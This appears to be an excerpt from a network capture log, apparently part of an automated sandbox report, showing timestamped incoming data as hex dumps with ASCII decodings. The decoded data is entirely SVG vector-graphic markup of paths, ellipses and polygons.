32 2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-05-31 12:52:09 UTC	6617	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:52:09 UTC	6633	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-05-31 12:52:09 UTC	6649	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-05-31 12:52:09 UTC	6665	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-05-31 12:52:10 UTC	6681	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-05-31 12:52:10 UTC	6697	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
2023-05-31 12:52:10 UTC	6713	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-05-31 12:52:10 UTC	6729	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-05-31 12:52:10 UTC	6745	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-05-31 12:52:10 UTC	6761	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-05-31 12:52:10 UTC	6777	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-05-31 12:52:10 UTC	6793	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-05-31 12:52:10 UTC	6809	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
2023-05-31 12:52:10 UTC	6825	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-05-31 12:52:10 UTC	6841	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-05-31 12:52:10 UTC	6857	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-05-31 12:52:10 UTC	6873	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-05-31 12:52:10 UTC	6889	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" 